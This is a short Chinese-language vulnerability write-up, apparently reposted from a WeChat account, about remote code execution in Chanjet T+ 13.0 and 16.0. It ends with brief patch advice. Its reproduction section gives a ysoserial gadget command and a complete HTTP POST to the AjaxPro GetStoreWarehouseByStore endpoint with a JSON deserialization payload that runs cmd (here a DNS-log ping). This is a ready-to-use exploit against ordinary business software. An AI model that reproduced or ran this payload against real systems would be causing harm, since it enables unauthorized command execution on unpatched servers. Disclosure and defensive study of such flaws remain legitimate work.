漏洞简介
用友畅捷通Tplus组件存在远程代码执行漏洞，漏洞威胁等级：高危，能造成远程代码执行。
漏洞影响范围：
目前受影响的版本：
畅捷通Tplus 13.0
畅捷通Tplus 16.0
漏洞复现
ysoserial.exe -g ObjectDataProvider -f JavaScriptSerializer -c "ping dnslog" -raw
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1Host:User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5666.197 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: keep-aliveX-Ajaxpro-Method: GetStoreWarehouseByStoreContent-Type: text/plainContent-Length: 553{"storeID":{"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","MethodName":"Start","ObjectInstance":{"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","StartInfo":{"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","FileName":"cmd","Arguments":"/c ping dnslog"}}}}
工具自动化利用
漏洞修复建议
当前官方已发布安全补丁，建议受影响的用户及时联系产商安装安全补丁。链接如下：
https://www.chanjetvip.com/product/goods/
原文始发于微信公众号（南街老友）：畅捷通T+ 远程命令执行漏洞
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